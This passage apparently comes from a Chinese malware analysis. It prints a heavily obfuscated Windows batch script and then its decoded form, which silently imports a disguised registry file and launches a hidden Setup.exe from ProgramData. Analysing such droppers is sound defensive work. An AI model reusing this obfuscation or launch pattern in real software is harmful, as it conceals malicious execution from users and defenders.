10,1%%':~-60,1%%':~-65,1%%':~95,1%%':~-143,1%%':~34,1%%':~-100,1%%':~-57,1%%':~99,1%%':~154,1%%':~-118,1%%':~-86,1%%':~-127,1%%':~-3,1%%':~109,1%%':~26,1%%':~117,1%%':~-65,1%%':~17,1%%':~60,1%%':~-8,1%%':~-117,1%%':~50,1%%':~-70,1%%':~38,1%%0 %':~-65,1%%':~95,1%%':~-143,1%%':~-126,1%%':~60,1%%':~103,1%%':~-61,1%%':~-18,1%%':~-129,1%%':~123,1%%':~74,1%%':~157,1%%':~126,1%%':~-65,1%%':~-143,1%%':~34,1%%':~60,1%%':~103,1%%':~99,1%%':~-8,1%%':~117,1%%':~57,1%%':~74,1%%':~50,1%%':~135,1%%':~-65,1%%':~17,1%%':~-126,1%%':~43,1%%':~-150,1%%':~103,1%%':~-69,1%%':~-110,1%%':~110,1%%':~131,1%%':~-61,1%%':~25,1%%':~-126,1%%':~-61,1%%':~-135,1%%':~104,1%%':~99,1%%':~25,1%%':~-57,1%%':~99,1%%':~-19,1%%':~-65,1%%':~-65,1%%':~17,1%%':~60,1%%':~-51,1%%':~157,1%%':~-57,1%%':~-65,1%%':~95,1%%':~17,1%%':~34,1%%':~60,1%%':~-57,1%%':~-61,1%%':~-77,1%%':~-60,1%%':~-86,1%%':~-77,1%%':~-43,1%%':~95,1%%':~17,1%%':~34,1%%':~60,1%%':~-57,1%%':~-61,1%%':~43,1%%':~-69,1%%':~-25,1%%':~50,1%%':~59,1%%':~74,1%%':~123,1%%':~-50,1%%':~154,1%%':~29,1%%':~-129,1%%':~95,1%%':~-143,1%%':~60,1%%':~-8,1%%':~43,1%%':~50,1%%':~-61,1%%':~88,1%
%':~45,1%%':~147,1%%':~84,1%%':~-139,1%%':~-61,1%%':~-17,1%%':~103,1%%':~-31,1%%':~-23,1%%':~131,1%%':~-55,1%%':~-12,1%%':~-3,1%%':~-83,1%%':~45,1%%':~147,1%%':~84,1%%':~-139,1%%':~-61,1%%':~104,1%%':~49,1%%':~141,1%%':~-55,1%%':~75,1%%':~103,1%%':~-157,1%%':~-77,1%%':~-83,1%%':~-115,1%%':~-13,1%%':~84,1%%':~21,1%%':~-61,1%%':~-159,1%%':~85,1%%':~141,1%%':~-127,1%%':~-57,1%%':~153,1%%':~105,1%%':~95,1%%':~-83,1%%':~45,1%%':~-75,1%%':~36,1%%':~99,1%!'!%':~-61,1%%':~-55,1%%':~84,1%%':~93,1%%':~99,1%%':~129,1%%':~137,1%%':~-61,1%%':~5,1%%':~-115,1%%':~-76,1%%':~149,1%%':~-16,1%%':~-144,1%%':~38,1%%':~131,1%%0 %':~-83,1%%':~-115,1%%':~-13,1%%':~84,1%%':~-139,1%%':~99,1%%':~-14,1%%':~110,1%%':~-6,1%%':~103,1%%':~-33,1%%':~-103,1%%':~-83,1%%':~45,1%%':~-13,1%%':~144,1%%':~-12,1%%':~21,1%%':~24,1%%':~16,1%%':~27,1%%':~-55,1%%':~99,1%%':~-59,1%%':~-13,1%%':~-61,1%%':~-59,1%%':~36,1%%':~-61,1%%':~101,1%%':~21,1%%':~-61,1%%':~133,1%%':~77,1%%':~45,1%%':~-13,1%%':~84,1%%':~21,1%%':~-61,1%%':~149,1%%':~1,1%%':~75,1%%':~60,1%%':~103,1%%':~95,1%%':~-98,1%%':~138,1%%':~77,1%%':~-115,1%%':~-13,1%%':~84,1%%':~21,1%%':~99,1%%':~-129,1%%':~-121,1%%':~103,1%%':~-129,1%%':~-75,1%%':~139,1%%':~104,1%%':~-12,1%%':~77,1%%':~45,1%%':~84,1%%':~39,1%%':~-75,1%%':~-139,1%%':~-35,1%%':~-61,1%%':~-76,1%%':~-3,1%%':~147,1%%':~-76,1%%':~99,1%%':~-155,1%%':~-115,1%%':~149,1%%':~-3,1%%':~147,1%%':~125,1%%':~77,1%%':~-115,1%%':~147,1%%':~84,1%%':~-139,1%%':~99,1%%':~-14,1%%':~15,1%%':~-1,1%%':~57,1%%':~103,1%%':~-136,1%%':~15,1%%':~-83,1%%':~45,1%%':~-13,1%%':~84,1%%':~-139,1%%':~99,1%%':~1,1%%':~-134,1%%':~-85,1%%':~116,1%%':~95,1%%':~-57,1%%':~-67,1%%':~49,1%%':~-33,1%%':~43,1%%':~77,1%%':~-115,1%%':~147,1%%':~84,1%%':~-139,1%%':~-61,1%%':~84,1%%':~-56,1%%':~-57,1%%':~-53,1%%':~116,1%%':~77,1%%':~45,1%%':~84,1%%':~105,1%%':~24,1%%':~157,1%%':~16,1%%':~-11,1%%':~-100,1%%':~-3,1%%':~77,1%%':~-115,1%%':~-13,1%%':~84,1%%':~21,1%%':~99,1%%':~143,1%%':~103,1%%':~129,1%%':~129,1%%':~-31,1%%':~33,1%%':~129,1%%':~-31,1%%':~129,1%%':~-7,1%%':~-75,1%%':~-31,1%%':~129,1%%':~-31,1%%':~-125,1%%':~-6,1%%':~-31,1%%':~129,1%%':~129,1%%':~-153,1%%':~84,1%%':~90,1%%':~129,1%%':~129,1%%':~129,1%%':~62,1%%':~129,1%%':~129,1%%':~129,1%%':~-137,1%%':~129,1%%':~129,1%%':~129,1%%':~-59,1%%':~-31,1%%':~129,1%%':~129,1%%':~81,1%%':~-31,1%%':~129,1%%':~129,1%%':~73,1%%':~149,1%%':~-31,1%%':~-31,1%%':~129,1%%':~67,1%%':~-100,1%%':~-31,1%%':~129,1%%':~-31,1%%':~151,1%%':~129,1%%':~129,1%%':~129,1%%':~133,1%%':~129,1%%':~129,1%%':~129,1%%':~-142,1%%':~-31,1%%':~-31,1%%':~129,1%%':~-109,1%%':~129,1%%':~129,1%%':~-31,1%%':~-44,1%%':~-13,1%%':~-31,1%%':~-31,1%%':~-31,1%%':~129,1%%':~-31,1%%':~129,1%%':~-31,1%%':~119,1%%':~-31,1%%':~129,1%%':~129,1%%':~12,1%%':~-55,1%%':~129,1%%':~-31,1%%':~-31,1%%':~-14,1%%':~110,1%%':~129,1%%':~129,1%%':~-31,1%%':~-4,1%%':~-31,1%%':~-31,1%%':~129,1%%':~-19,1%%':~148,1%%':~-31,1%%':~129,1%%':~129,1%%':~29,1%%':~-31,1%%':~129,1%%':~129,1%%':~1,1%%':~-144,1%%':~129,1%%':~-31,1%%':~-31,1%%':~47,1%%':~-31,1%%':~129,1%%':~-31,1%%':~-51,1%%':~129,1%%':~-31,1%%':~-31,1%%':~59,1%%':~-16,1%%':~129,1%%':~129,1%%':~129,1%%':~-81,1%%':~129,1%%':~129,1%%':~-31,1%%':~-53,1%%':~-31,1%%':~-31,1%%':~-31,1%%':~26,1%%':~129,1%%':~-31,1%%':~129,1%%':~-57,1%%':~-3,1%%':~-31,1%%':~129,1%%':~-31,1%%':~-151,1%%':~-136,1%%':~129,1%%':~129,1%%':~-31,1%%':~71,1%%':~-31,1%%':~-31,1%%':~129,1%%':~-46,1%%':~117,1%%':~129,1%%':~-31,1%%':~-31,1%%':~-140,1%%':~129,1%%':~129,1%%':~-31,1%%':~-83,1%%':~-31,1%%':~129,1%%':~129,1%%':~-157,1%%':~-31,1%%':~-31,1%%':~129,1%%':~-103,1%%':~104,1%%':~21,1%%':~129,1%%':~-31,1%%':~-31,1%%':~45,1%%':~129,1%%':~-31,1%%':~-31,1%%':~-119,1%%':~-31,1%%':~-31,1%%':~-31,1%%':~121,1%%':~-31,1%%':~129,1%%':~-31,1%%':~-71,1%%':~-31,1%%':~-31,1%%':~129,1%%':~159,1%%':~39,1%%':~129,1%%':~129,1%%':~-31,1%%':~-129,1%%':~-31,1%%':~129,1%%':~-31,1%%':~65,1%%':~129,1%%':~-31,1%%':~129,1%%':~127,1%%':~129,1%%':~-31,1%%':~129,1%%':~125,1%%':~129,1%%':~-31,1%%':~129,1%%':~-37,1%%':~63,1%%':~-31,1%%':~129,1%%':~-31,1%%':~87,1%%':~-31,1%%':~-31,1%%':~129,1%%':~83,1%%':~129,1%%':~129,1%%':~-31,1%%':~137,1%%':~-31,1%%':~-31,1%%':~-31,1%%':~-63,1%%':~-31,1%%':~129,1%%':~-31,1%%':~69,1%%':~129,1%%':~-31,1%%':~129,1%%':~112,1%%':~-31,1%%':~-31,1%%':~-31,1%%':~92,1%%':~27,1%%':~-31,1%%':~129,1%%':~129,1%%':~-155,1%%':~10,1%%':~129,1%%':~-31,1%%':~129,1%%':~75,1%%':~-22,1%%':~-31,1%%':~-31,1%%':~-31,1%%':~-111,1%%':~-145,1%%':~-31,1%%':~129,1%%':~129,1%%':~43,1%%':~93,1%%':~-124,1%%':~129,1%%':~129,1%%':~-31,1%%':~-65,1%%':~129,1%%':~-31,1%%':~129,1%%':~143,1%%':~129,1%%':~129,1%%':~-31,1%%':~53,1%%':~139,1%%':~129,1%%':~-31,1%%':~-31,1%%':~14,1%%':~-31,1%%':~-31,1%%':~129,1%%':~131,1%%':~-31,1%%':~129,1%%':~-31,1%%':~38,1%%':~129,1%%':~129,1%%':~-31,1%%':~99,1%%':~129,1%%':~129,1%%':~129,1%%':~55,1%%':~129,1%%':~129,1%%':~129,1%%':~135,1%%':~77,1%%':~-115,1%%':~-13,1%%':~84,1%%':~21,1%%':~-3,1%%':~16,1%%':~149,1%%':~60,1%%':~157,1%%':~-61,1%%':~-76,1%%':~105,1%%':~-100,1%%':~-50,1%%':~-3,1%%':~84,1%%':~-136,1%%':~84,1%%':~157,1%%':~60,1%%':~15,1%%':~84,1%%':~24,1%%':~-76,1%%':~39,1%%':~-56,1%%':~60,1%%':~-55,1%%':~-13,1%%':~85,1%%':~-144,1%%':~105,1%%':~-83,1%%':~-76,1%%':~105,1%%':~-136,1%%':~157,1%%':~-11,1%%':~16,1%%':~-100,1%%':~-3,1%%':~99,1%%':~-93,1%%':~-29,1%%':~105,1%%':~148,1%%':~-3,1%%':~-83,1%%':~-83,1%%':~45,1%%':~84,1%%':~-11,1%%':~144,1%%':~-144,1%%':~-122,1%%':~-29,1%%0 %':~77,1%%':~77,1%%':~45,1%%':~-13,1%%':~84,1%%':~21,1%%':~-61,1%%':~57,1%%':~26,1%%':~-57,1%%':~-19,1%%':~127,1%%':~149,1%%':~49,1%%':~-83,1%%':~-115,1%%':~-13,1%%':~84,1%%':~-139,1%%':~-61,1%%':~-11,1%%':~157,1%%':~-57,1%%':~73,1%%':~146,1%%':~-14,1%%':~147,1%%':~-55,1%%':~-83,1%%':~45,1%%':~-13,1%%':~-76,1%%':~-139,1%%':~-61,1%%':~159,1%%':~-22,1%%':~-57,1%%':~-159,1%%':~14,1%%':~-100,1%%':~77,1%%':~45,1%%':~147,1%%':~144,1%%':~148,1%%':~-139,1%%':~-136,1%%':~-144,1%%':~-133,1%%':~-55,1%%':~99,1%%':~101,1%%':~-13,1%%':~-61,1%%':~101,1%%':~36,1%%':~-61,1%%':~-59,1%%':~21,1%%':~-61,1%%':~133,1%%':~-83,1%%':~77,1%%':~-115,1%%':~147,1%%':~84,1%%':~21,1%%':~-61,1%%':~138,1%%':~-100,1%%':~-57,1%%':~157,1%%':~15,1%%':~-121,1%%':~77,1%%':~45,1%%':~-13,1%%':~84,1%%':~21,1%%':~99,1%%':~-67,1%%':~-159,1%%':~31,1%%':~103,1%%':~3,1%%':~62,1%%':~77,1%%':~-115,1%%':~-76,1%%':~39,1%%':~-75,1%%':~-139,1%%':~77,1%%':~77,1%%':~-115,1%%':~147,1%%':~-76,1%%':~-139,1%%':~99,1%%':~153,1%%':~-22,1%%':~-127,1%%':~103,1%%':~73,1%%':~-14,1%%':~69,1%%':~144,1%%':~-100,1%%':~77,1%%':~45,1%%':~-76,1%%':~-11,1%%':~-16,1%%':~16,1%%':~-61,1%%':~137,1%
%':~92,1%%':~36,1%%':~-150,1%%':~90,1%%':~155,1%%':~144,1%%':~-89,1%%':~-122,1%%':~118,1%%':~-9,1%%':~43,1%%':~51,1%%':~72,1%%':~-76,1%%':~92,1%%':~-156,1%%':~140,1%%':~-5,1%!'!%':~155,1%%':~43,1%%':~10,1%%':~-21,1%%':~-5,1%%':~38,1%%':~-42,1%%':~-5,1%%':~129,1%%':~92,1%%':~-150,1%%':~-138,1%%':~-97,1%%':~56,1%%':~153,1%%':~-9,1%%0 %':~-76,1%%':~-68,1%%':~-124,1%%':~10,1%%':~90,1%%':~-5,1%%':~-85,1%%':~46,1%%':~-115,1%%':~-135,1%%':~-89,1%%':~36,1%%':~-157,1%%':~-20,1%%':~77,1%%':~84,1%%':~92,1%%':~36,1%%':~10,1%%':~90,1%%':~155,1%%':~-27,1%%':~3,1%%':~-124,1%%':~-124,1%%':~71,1%%':~56,1%%':~-156,1%%':~-30,1%%':~-76,1%%':~-68,1%%':~-124,1%%':~10,1%%':~-70,1%%':~-5,1%%':~-91,1%%':~-33,1%%':~90,1%%':~130,1%%':~-89,1%%':~100,1%%':~-27,1%%':~21,1%%':~-76,1%%':~92,1%%':~36,1%%':~-150,1%%':~-70,1%%':~155,1%%':~7,1%%':~-88,1%%':~-89,1%%':~107,1%%':~-150,1%%':~84,1%%':~92,1%%':~-124,1%%':~63,1%%':~51,1%%':~-70,1%%':~75,1%%':~-104,1%%':~-33,1%%':~43,1%%':~155,1%%':~-143,1%%':~-124,1%%':~155,1%%':~-143,1%%':~140,1%%':~155,1%%':~17,1%%':~90,1%%':~155,1%%':~-131,1%%':~84,1%%':~-68,1%%':~10,1%%':~-59,1%%':~-156,1%%':~-70,1%%':~-51,1%%':~155,1%%':~-150,1%%':~-88,1%%':~36,1%%':~-150,1%%':~155,1%%':~-31,1%%':~-68,1%%':~22,1%%':~-88,1%%':~-124,1%%':~109,1%%':~-76,1%%':~92,1%%':~10,1%%':~43,1%%':~75,1%%':~72,1%%':~-104,1%%':~22,1%%':~25,1%%':~-88,1%%':~-76,1%%':~-68,1%%':~36,1%%':~10,1%%':~90,1%%':~155,1%%':~133,1%%':~-115,1%%':~-89,1%%':~62,1%%':~-70,1%%':~149,1%%':~-59,1%%':~-76,1%%':~92,1%%':~-124,1%%':~10,1%%':~-70,1%%':~155,1%%':~65,1%%':~-104,1%%':~135,1%%':~46,1%%':~-139,1%%':~-89,1%%':~122,1%%':~149,1%%':~-105,1%%':~-80,1%%':~-21,1%%':~84,1%%':~92,1%%':~-124,1%%':~-150,1%%':~-70,1%%':~-5,1%%':~-16,1%%':~71,1%%':~38,1%%':~38,1%%':~-122,1%%':~-62,1%%':~139,1%%':~38,1%%':~38,1%%':~38,1%%':~144,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~-133,1%%':~38,1%%':~-122,1%%':~-122,1%%':~103,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~109,1%%':~-70,1%%':~-122,1%%':~38,1%%':~-122,1%%':~-18,1%%':~-104,1%%':~11,1%%':~-122,1%%':~38,1%%':~-122,1%%':~13,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~-100,1%%':~38,1%%':~-122,1%%':~38,1%%':~-151,1%%':~-122,1%%':~38,1%%':~-122,1%%':~-118,1%%':~38,1%%':~38,1%%':~38,1%%':~71,1%%':~46,1%%':~-122,1%%':~38,1%%':~-122,1%%':~-78,1%%':~-122,1%%':~38,1%%':~38,1%%':~3,1%%':~-122,1%%':~38,1%%':~38,1%%':~157,1%%':~38,1%%':~38,1%%':~-122,1%%':~149,1%%':~140,1%%':~-122,1%%':~-122,1%%':~38,1%%':~-98,1%%':~130,1%%':~38,1%%':~-122,1%%':~38,1%%':~-44,1%%':~38,1%%':~-122,1%%':~-122,1%%':~-105,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~94,1%%':~38,1%%':~-122,1%%':~38,1%%':~-136,1%%':~38,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~38,1%%':~38,1%%':~-122,1%%':~45,1%%':~38,1%%':~38,1%%':~38,1%%':~58,1%%':~38,1%%':~-122,1%%':~-122,1%%':~-131,1%%':~38,1%%':~38,1%%':~38,1%%':~35,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~129,1%%':~-122,1%%':~-122,1%%':~38,1%%':~-112,1%%':~-122,1%%':~-122,1%%':~38,1%%':~-74,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~96,1%%':~38,1%%':~38,1%%':~-122,1%%':~107,1%%':~-122,1%%':~38,1%%':~-122,1%%':~120,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~118,1%%':~133,1%%':~-122,1%%':~38,1%%':~-122,1%%':~135,1%%':~38,1%%':~38,1%%':~-122,1%%':~-129,1%%':~-122,1%%':~-122,1%%':~38,1%%':~40,1%%':~38,1%%':~38,1%%':~38,1%%':~-95,1%%':~-153,1%%':~38,1%%':~-122,1%%':~-122,1%%':~-83,1%%':~25,1%%':~-80,1%%':~38,1%%':~38,1%%':~-122,1%%':~-55,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~-139,1%%':~-122,1%%':~38,1%%':~-122,1%%':~-22,1%%':~38,1%%':~-122,1%%':~-122,1%%':~50,1%%':~-122,1%%':~-122,1%%':~38,1%%':~100,1%%':~38,1%%':~38,1%%':~38,1%%':~122,1%%':~-122,1%%':~-122,1%%':~38,1%%':~159,1%%':~75,1%%':~-122,1%%':~38,1%%':~-122,1%%':~19,1%%':~-59,1%%':~38,1%%':~38,1%%':~-122,1%%':~92,1%%':~38,1%%':~38,1%%':~38,1%%':~-49,1%%':~38,1%%':~38,1%%':~-122,1%%':~67,1%%':~-122,1%%':~38,1%%':~-122,1%%':~146,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~-34,1%%':~38,1%%':~-122,1%%':~-122,1%%':~-36,1%%':~-48,1%%':~-109,1%%':~38,1%%':~38,1%%':~38,1%%':~151,1%%':~-122,1%%':~-122,1%%':~38,1%%':~-127,1%%':~38,1%%':~38,1%%':~38,1%%':~53,1%%':~-150,1%%':~-122,1%%':~-122,1%%':~38,1%%':~15,1%%':~38,1%%':~38,1%%':~38,1%%':~-143,1%%':~-122,1%%':~38,1%%':~-122,1%%':~-76,1%%':~136,1%%':~127,1%%':~-122,1%%':~-122,1%%':~38,1%%':~-91,1%%':~38,1%%':~38,1%%':~-122,1%%':~-28,1%%':~-122,1%%':~38,1%%':~-122,1%%':~-159,1%%':~38,1%%':~-122,1%%':~-122,1%%':~-81,1%%':~38,1%%':~38,1%%':~38,1%%':~153,1%%':~-122,1%%':~-122,1%%':~38,1%%':~-72,1%%':~72,1%%':~-117,1%%':~89,1%%':~-122,1%%':~-122,1%%':~-122,1%%':~114,1%%':~38,1%%':~38,1%%':~38,1%%':~-5,1%%':~22,1%%':~-97,1%%':~-122,1%%':~38,1%%':~-122,1%%':~74,1%%':~-122,1%%':~38,1%%':~-122,1%%':~6,1%%':~4,1%%':~36,1%%':~-13,1%%':~-76,1%%':~92,1%%':~-124,1%%':~10,1%%':~90,1%%':~-88,1%%':~56,1%%':~22,1%%':~25,1%%':~72,1%%':~155,1%%':~10,1%%':~-117,1%%':~25,1%%':~46,1%%':~72,1%%':~10,1%%':~-85,1%%':~-150,1%%':~-88,1%%':~25,1%%':~136,1%%':~-150,1%%':~-85,1%%':~-150,1%%':~101,1%%':~89,1%%':~25,1%%':~-117,1%%':~36,1%%':~4,1%%':~-104,1%%':~43,1%%':~-76,1%%':~-150,1%%':~43,1%%':~75,1%%':~-88,1%%':~-138,1%%':~-104,1%%':~25,1%%':~-88,1%%':~-5,1%%':~-136,1%%':~-9,1%%':~43,1%%':~51,1%%':~72,1%%':~84,1%%':~84,1%%':~92,1%%':~36,1%%':~-150,1%%':~-70,1%%':~155,1%%':~-141,1%%':~-74,1%%':~4,1%%':~100,1%%':~35,1%%':~71,1%%':~43,1%%':~1,1%%':~-76,1%%':~92,1%%':~10,1%%':~22,1%%':~63,1%%':~-104,1%%':~153,1%%':~151,1%%0 %':~84,1%%':~-76,1%%':~92,1%%':~36,1%%':~-97,1%%':~51,1%%':~-70,1%%':~-85,1%%':~56,1%%':~-33,1%%':~-117,1%%':~155,1%%':~17,1%%':~-124,1%%':~-5,1%%':~17,1%%':~-20,1%%':~155,1%%':~17,1%%':~90,1%%':~155,1%%':~-131,1%%':~-76,1%%':~84,1%%':~-68,1%%':~36,1%%':~10,1%%':~-70,1%%':~-5,1%%':~-74,1%%':~-156,1%%':~46,1%%':~-89,1%%':~147,1%%':~142,1%%':~103,1%%':~46,1%%':~84,1%%':~92,1%%':~10,1%%':~-59,1%%':~-156,1%%':~-70,1%%':~-76,1%%':~84,1%%':~-68,1%%':~-124,1%%':~10,1%%':~-70,1%%':~155,1%%':~101,1%%':~-125,1%%':~19,1%%':~71,1%%':~116,1%%':~75,1%%':~84,1%%':~-68,1%%':~10,1%%':~-138,1%%':~-97,1%%':~56,1%%':~-5,1%%':~-42,1%
%':~104,1%%':~123,1%%':~-9,1%%':~-8,1%%':~14,1%%':~150,1%%':~-146,1%%':~-15,1%%':~-31,1%%':~104,1%%':~123,1%%':~-15,1%%':~99,1%%':~144,1%%':~14,1%%':~151,1%%':~-77,1%%':~144,1%%':~129,1%%':~104,1%%':~151,1%%':~144,1%%':~158,1%
%':~104,1%%':~123,1%%':~151,1%%':~-8,1%%':~-146,1%%':~150,1%%':~-146,1%%':~-125,1%%':~-125,1%
%':~-145,1%%':~123,1%%':~-80,1%%':~123,1%%':~-61,1%%':~157,1%%':~-149,1%%':~-10,1%%':~127,1%%':~-2,1%%':~-10,1%%':~30,1%%':~120,1%%':~28,1%%':~-64,1%%':~157,1%%':~145,1%%':~99,1%%':~-146,1%%':~-29,1%%':~158,1%%':~-132,1%%':~108,1%%':~130,1%%':~-2,1%%':~-149,1%%':~-37,1%%':~-122,1%%':~114,1%%':~46,1%%':~-132,1%%':~-61,1%%':~102,1%%':~-61,1%%':~157,1%%':~83,1%%':~-80,1%%':~141,1%%':~-145,1%%':~123,1%%':~80,1%
%':~158,1%%':~-149,1%%':~83,1%%':~15,1%%':~11,1%%':~-10,1%%':~70,1%%':~70,1%%':~-10,1%%':~-90,1%%':~-130,1%%':~120,1%%':~28,1%%':~90,1%%':~15,1%%':~-146,1%%':~80,1%%':~-145,1%%':~-77,1%%':~-122,1%%':~-66,1%%':~83,1%%':~11,1%%':~83,1%%':~28,1%%':~56,1%%':~157,1%%':~151,1%%':~-145,1%%':~14,1%%':~-2,1%%':~-146,1%%':~-125,1%%':~-149,1%%':~-132,1%%':~108,1%%':~123,1%%':~-149,1%%':~116,1%%':~146,1%%':~-132,1%%':~-52,1%%':~-37,1%%':~-149,1%%':~-44,1%%':~-14,1%%':~141,1%%':~123,1%%':~-58,1%%':~-37,1%%':~70,1%
%':~-37,1%%':~-58,1%%':~-3,1%%':~11,1%
5、解码结果
@echo on&@endlocal&@cls
@echo off
regedit /s C:\Windows\System32\dxdiag.reg
start "" "C:\ProgramData\Microsoft\Setup\Setup.exe"
exit